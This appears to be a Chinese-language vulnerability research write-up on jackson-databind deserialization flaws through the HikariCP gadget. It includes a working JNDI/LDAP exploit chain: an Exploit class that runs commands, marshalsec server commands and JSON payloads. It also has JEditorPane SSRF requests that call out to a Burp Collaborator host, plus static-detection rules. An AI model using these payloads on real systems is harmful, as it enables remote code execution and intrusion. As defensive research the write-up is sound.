A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariConfig.
这里使用的是:com.zaxxer.hikari.HikariConfig
A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariDataSource. This is a different vulnerability than CVE-2019-14540.
这里使用的是:com.zaxxer.hikari.HikariDataSource
。通过找到com.zaxxer.hikari的github
com.zaxxer.hikari.HikariDataSource
继承了com.zaxxer.hikari.HikariConfig
号称性能最好的JDBC连接池。
参考:https://blog.csdn.net/u013445530/article/details/50607180
可以看到最近的commit,黑名单中增加了两个类:
https://github.com/FasterXML/jackson-databind/commit/73c1c2cc76e6cdd7f3a5615cbe3207fe96e4d3db
这个文件的作用:
这些黑名单类存在的意义:
Set of well-known “nasty classes”, deserialization of which is considered dangerous and should (and is) prevented by default.
利用:
com.zaxxer.hikari.HikariDataSource
这个gadgets。
关于gadgets的解释:
Gadgets are classes that allow performing otherwise non-accessible methods or accessing non-accessible data, when instantiated and modified via setters and/or assignments to fields (necessary during reading of data into Objects, aka deserialization; or during writing of Objects as data, aka Serialization).
好像一般的缓解措施都是禁用default typing。
而想要启用这个选项,需要设置:
objectMapper.enableDefaultTyping();
以下翻译自:https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
开始的研究在default JDK的反序列化上。
marshalling、pickling
As usual, the full answer is “It Depends”. But the likely answer is “probably not”. The reason for this is that for exploit to work, multiple things must be true and commonly at least one pre-requisite is not true.
But let’s look at these pre-requisite.
这个得“看情况”。其实“一般不会”。原因是,漏洞想被利用成功,有多个前提条件需要满足。然而一般情况下,至少有一个前提条件满足不了。看看这些前提条件都有哪些。
enableDefaultTyping()
?关键看一下3和4.
3、如何开启多态处理,
一种方法是:
在json请求中直接指定具体的类名。但是需要annotating
另外一种方式是:
import com.fasterxml.jackson.databind.ObjectMapper;
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // or one of variants
实际上做的就是在抽象类型加上了这样的annotating:
@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)
以上翻译自:https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
https://github.com/caiqiqi/jackson-databind-POC
public class Exploit {
public Exploit() {
try {
if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
Runtime.getRuntime().exec("calc.exe");
} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
} else {
Runtime.getRuntime().exec("/bin/ping fasterxml.a3f7231bbd0810686e0a.d.zhack.ca");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译
java -version
java version "1.8.0_101"
Java(TM) SE Runtime Environment (build 1.8.0_101-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.101-b13, mixed mode)
javac Exploit.java
python -m SimpleHTTPServer
提供Exploit.class
等待被调用。
java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/7/31 14:15
*/
public class HikariTest {
public static void main(String[] args){
String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"ldap://127.0.0.1:1389/exploit\"}]";
try{
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(json,Object.class);
} catch(IOException e){
e.printStackTrace();
}
}
}
或者在命令行下执行:
java -classpath /Users/caiqiqi/Downloads/rmi/rmi/libs/HikariCP-2.4.0.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-core-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-annotations-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-databind-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-api-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-simple-1.7.28.jar:. HikariTest
需要的library有:
如果使用mvn一定记得加上这三个
<dependency>
<groupId>com.fasterxml.jackson.coregroupId>
<artifactId>jackson-databindartifactId>
<version>2.9.9.3version>
dependency>
<dependency>
<groupId>com.fasterxml.jackson.coregroupId>
<artifactId>jackson-coreartifactId>
<version>2.9.9version>
dependency>
<dependency>
<groupId>com.fasterxml.jackson.coregroupId>
<artifactId>jackson-annotationsartifactId>
<version>2.9.6version>
dependency>
否则出现各种错误!
然后在IDEA中加入jackson-databind的tag为2.9.6版本的作为source。
如果是用Spring boot启动的话,如果classpath里没有这个包会在日志中记录这个异常:
["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1389/exploit"}]
com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'com.zaxxer.hikari.HikariConfig' as a subtype of [simple type, class java.lang.Object]: no such class found
import com.fasterxml.jackson.databind.ObjectMapper;
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
这一句比较复杂,暂时理解不了。
看下一句关键的:
objectMapper.readValue(json,Object.class);
跟了一会儿,终于看到了要被反序列化的类名了:
jackson-databind/src/main/java/com/fasterxml/jackson/databind/introspect/AnnotatedConstructor#call
调用栈为:
call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:68, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:18, HikariTest
再看看到底这个构造器里做了什么:
构造器里倒是什么都没做,只是赋值了一些变量。
再继续看:
jackson-databind/src/main/java/com/fasterxml/jackson/databind/deser/BeanDeserializer#vanillaDeserialize
ackson-databind/src/main/java/com/fasterxml/jackson/databind/deser/impl/MethodProperty#deserializeAndSet中:
表示通过反射调用com.zaxxer.hikari.HikariConfig
对象的
public void com.zaxxer.hikari.HikariConfig.setMetricRegistry(java.lang.Object)
这个方法?并且传入的值为ldap://127.0.0.1:1389/exploit
?
果然下一步就进入到这里:
HikariCP-2.4.0.jar!/com/zaxxer/hikari/HikariConfig#setMetricRegistry
300行,判断这个参数是否为String类型的,若是,则将其强制类型转换之后,调用
initCtx.lookup((String)metricRegistry)
仔细看看调用过程:
/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/src.zip!/javax/naming/InitialContext#lookup
/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/url/ldap/ldapURLContext#lookup
调用栈为:
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
setMetricRegistry:486, HikariConfig (com.zaxxer.hikari)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
deserializeAndSet:139, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:68, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:18, HikariTest
在Wireshark里抓一个lo网卡的包(tcp.port==8000||tcp.port==1389
),找8000和1389端口的流量,看看是什么样子:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MyBcDnUL-1581648178380)(https://note.youdao.com/yws/public/resource/506a616601f32f53243cbdd59dbb3b36/xmlnote/WEBRESOURCE7e01c7b64c821a3d937cb2c8e5d5843a/8522)]
没抓到包?
又试了一下,原来并不需要提供一个Exploit.class的服务?
原来不是,可能是因为从本地的CLASSPATH中可以获取到这个class文件,于是没有发起这个请求。
参考:https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/bin/java "-javaagent:/Applications/IntelliJ IDEA 2.app/Contents/lib/idea_rt.jar=49937:/Applications/IntelliJ IDEA 2.app/Contents/bin" -Dfile.encoding=UTF-8 -classpath /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/cldrdata.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/jaccess.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/localedata.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/nashorn.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunec.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/zipfs.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jfxswt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/packager.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/tools.jar:/Users/caiqiqi/Downloads/rmi/rmi/out/production/rmi:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-simple-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-api-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/HikariCP-2.4.0.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-core-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-databind-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-annotations-2.9.6.jar HikariTest
objc[64928]: Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/bin/java (0x10f0f04c0) and /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/libinstrument.dylib (0x10f1884e0). One of the two will be used. Which one is undefined.
com.fasterxml.jackson.databind.JsonMappingException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
at [Source: (String)"["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1389/exploit"}]"; line: 1, column: 53] (through reference chain: com.zaxxer.hikari.HikariConfig["metricRegistry"])
at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:277)
at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:611)
at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:599)
at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:141)
at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:288)
at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:151)
at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)
at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:71)
at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:712)
at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:68)
at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4013)
at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3004)
at HikariTest.main(HikariTest.java:25)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.zaxxer.hikari.HikariConfig.setMetricRegistry(HikariConfig.java:486)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:139)
... 9 more
Process finished with exit code 0
Id.CLASS是什么?
jackson-annotations-2.9.6.jar!/com/fasterxml/jackson/annotation/JsonTypeInfo.class中
参考:
https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.html
虽然其自带的版本是1.x的,
找到了两个POST json的接口
POST /rest/analytics/1.0/publish/bulk HTTP/1.1
Host: cqq.com:8090
Content-Type: application/json
[{"name":"browser.metrics.navigation","javax.swing.JEditorPane", {"page":"http://pc5xqsdmchqphdgyx1kg6ttcz35xtm.burpcollaborator.net:80/?a=1&b=2222"}]
和
POST /rest/webResources/1.0/resources HTTP/1.1
Host: cqq.com:8090
Content-Type: application/json
["javax.swing.JEditorPane", {"page":"http://pc5xqsdmchqphdgyx1kg6ttcz35xtm.burpcollaborator.net:80/?a=1&b=2222"}]
让其报错:
com.atlassian.analytics.client.browser.PublisherResource$BrowserEventBean
com.atlassian.webresource.plugin.rest.ListOfResources$Request
报错的原因是Confluence反序列化json的时候指定了具体的类,而指定哪个类
这个参数用户不可控。尝试查看这个类的结构,看能不能注入一个恶意对象,发现其都是String,Int等普通类型,没有恶意对象注入点。
不过通过报错可以知道反序列化的类型是什么,不过也不重要。
atlassian-confluence-5.8.18\confluence\WEB-INF\atlassian-bundled-plugins\atlassian-rest-module-2.9.24.jar!\org\codehaus\jackson\jaxrs\JacksonJsonProvider#readFrom
另外也可见:
enableDefaultTyping();
实际也是调用
enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
先看几个白盒检测存在漏洞的示例:
来源:https://github.com/find-sec-bugs/find-sec-bugs/blob/master/findsecbugs-samples-java/src/test/java/testcode/serial/UnsafeJacksonObjectDeserialization.java
public class UnsafeJacksonObjectDeserialization {
static class ABean {
public int id;
public Object obj;
}
static class AnotherBean {
@JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)
public Object obj;
}
static class YetAnotherBean {
@JsonTypeInfo (use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object obj;
}
public void exampleOne(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object obj = mapper.readValue(JSON, ABean.class);
}
public void exampleTwo(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
Object obj = mapper.readValue(JSON, ABean.class);
}
public void exampleThree(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
Object obj = mapper.readValue(JSON, AnotherBean.class);
}
public void exampleFour(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
Object obj = mapper.readValue(JSON, YetAnotherBean.class);
}
}
从上面的四个例子可以总结出存在漏洞的jackson代码有这么几种情况:
1、exampleOne开启了DefaultTyping,且被序列化的类里有一个Object类型,可以进行对象注入;
2、exampleTwo开启了DefaultTyping,且接口类和抽象类都能被反序列化,更可以进行对象注入;
3、exampleThree虽然没有开启DefaultTyping,但是其被序列化的类被JsonTypeInfo.Id.CLASS
修饰,可以通过@class
进行对象注入;
4、exampleThree虽然没有开启DefaultTyping,但是其被序列化的类被JsonTypeInfo.Id.MINIMAL_CLASS
修饰,可以通过@c
进行对象注入;
再看一个jackson反序列化白盒检测的误报示例:
来源:https://github.com/find-sec-bugs/find-sec-bugs/blob/master/findsecbugs-samples-java/src/test/java/testcode/serial/JacksonSerialisationFalsePositive.java
public class JacksonSerialisationFalsePositive implements Serializable {
static class Bean {
@JsonTypeInfo (use = JsonTypeInfo.Id.NAME)
public Object obj;
}
public void exampleOne(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
Object obj = mapper.readValue(JSON, JacksonSerialisationFalsePositive.class);
}
public void exampleTwo(String JSON) throws Exception {
ObjectMapper mapper = new ObjectMapper();
Object obj = mapper.readValue(JSON, Bean.class);
}
}
1、exampleOne中没有开启DefaultTyping,且其待反序列化的类没有使用JsonTypeInfo.Id.CLASS/MININAL_CLASS修饰,所以无法进行对象注入;
2、exampleTwo中没有开启DefaultTyping,且其待反序列化的类没有使用JsonTypeInfo.Id.CLASS/MININAL_CLASS修饰,所以无法进行对象注入;
现在一个一个来说:
objectMapper.enableDefaultTyping();
objectMapper.readValue(params, InputStream.class);
objectMapper.readValue(params, InputStream.class);
objectMapper.readValue(params, Object.class);
直接反序列化Object类:
没有异常,但是也无法调用payload中的方法。
如果是:
// 注意ABean类里有一个Object字段,而且其名字叫obj,这直接关系到json的payload里的名字
static class ABean {
public int id;
public Object obj;
}
objectMapper.enableDefaultTyping();
objectMapper.readValue(params, ABean.class);
相应地,使用这个payload:
{"obj": ["javax.swing.JEditorPane", {"page":"http://z00nlwe4p8gfxkqh8bu6zg0ce3ku8j.burpcollaborator.net:80/?a=1&b=2222"}]}
因为这里的obj对象是public的,所以直接使用这个名字,如果有setObj方法,则调用setObj方法。
com\fasterxml\jackson\core\jackson-databind\2.9.9.3\jackson-databind-2.9.9.3.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer#vanillaDeserialize
看一下调用栈:
deserializeAndSet:141, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserializeAndSet:147, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4014, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3005, ObjectMapper (com.fasterxml.jackson.databind)
deserialize1:80, Jackson (org.joychou.controller)
...
最后是反射调用方法,设置属性值:
如果不加enableDefaultTyping();
,即代码是这样:
static class ABean {
public int id;
public Object obj;
}
objectMapper.readValue(params, ABean.class);
则直接在这里返回了:
vanillaDeserialize:297, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4014, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3005, ObjectMapper (com.fasterxml.jackson.databind)
deserialize1:80, Jackson (org.joychou.controller)
代码示例:
public static void main(String[] args)throws IOException{
Person p = new Person();
p.age = 10;
p.name = "Alice";
p.object = new Dna();
ObjectMapper objectMapper = new ObjectMapper();
// objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
// objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
// objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
// objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = objectMapper.writeValueAsString(p);
System.out.println(json);
}
static class Person {
public int age;
public String name;
public Object object;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}
static class Dna {
public int length = 100;
}
1、不加enableDefaultTyping:
{"age":10,"name":"Alice","object":{"length":100},"sexObj":{"sex":0}}
2、enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)
{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":{"sex":0}}
3、enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。
{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}]}
4、enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
除了上文提到的特征,还支持上文全部类型的Array类型。
{"age":10,"name":"Alice","object":["[Lorg.joychou.controller.Jackson$Dna;",[{"length":100},{"length":100}]],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}]}
5、enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。
["org.joychou.controller.Jackson$Person",{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"dna":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}],"finalObject":"test final object"}]
第1种情况,什么类型都解析不出来;
第2种情况,可以解析出Object类型的对象类型名;
第3种情况,可以解析出Interface类型的对象类型名;
第4种情况,可以解析出数组类型的对象;
第5种情况,只有final修饰的解析不出具体类型名;其他都解析出类型名了。
发现2-5的结果,多出来了类的信息,这就是 EnableDefaultTyping ,在序列化的String里,包含类原本的一些信息,将来反的时候会进行还原。
默认的、无参的enableDefaultTyping是第二个等级,OBJECT_AND_NON_CONCRETE
。
总结一下,如果开启了这个功能,就可以指定被反序列化的那个类!
这四个等级的解析能力是依次递增的。NON_FINAL
是最高的。
ObjectMapper enableDefaultTyping()
ObjectMapper enableDefaultTyping(DefaultTyping dti)
ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs)
ObjectMapper enableDefaultTypingAsProperty(DefaultTyping applicability, String propertyName)
只要匹配到,就算命中了条件A。
public <T> T readValue(String content, JavaType valueType)
public <T> T readValue(Reader src, Class<T> valueType)
public <T> T readValue(Reader src, TypeReference valueTypeRef)
public <T> T readValue(Reader src, JavaType valueType)
所以只要匹配到这个,就需要对第二个参数进行解析,确认这个Model是否是可以被攻击的Model。如果包含了Object或者本身就是个Object,就认为命中了条件B。
JsonTypeInfo.Id.CLASS
或 JsonTypeInfo.Id.MINIMAL_CLASS
。记做条件C。最终条件就是 (A&&B) || C。
下面给出一个C的示例:
public class Jackson {
static class AnotherBean {
@JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)
public Object obj;
}
@RequestMapping(value = "/deserialize3", method = {RequestMethod.POST})
@ResponseBody
public static String deserialize3(@RequestBody String params) throws IOException {
System.out.println(params);
try {
ObjectMapper objectMapper = new ObjectMapper();
Object obj = objectMapper.readValue(params, AnotherBean.class);
return obj.toString();
} catch (Exception e){
e.printStackTrace();
return e.toString();
}
}
相应的payload为:
POST /jackson/deserialize3 HTTP/1.1
Host: cqq.com:8080
Connection: close
Cookie: JSESSIONID=C48313A5CE14AE7A1C15696C03AE0893
Content-Type: application/json
Content-Length: 127
{"obj":{"@class":"javax.swing.JEditorPane","page":"http://ivh6gf9nkrbys3l03uppuzvv9mfg35.burpcollaborator.net:80/?a=1&b=2222"}}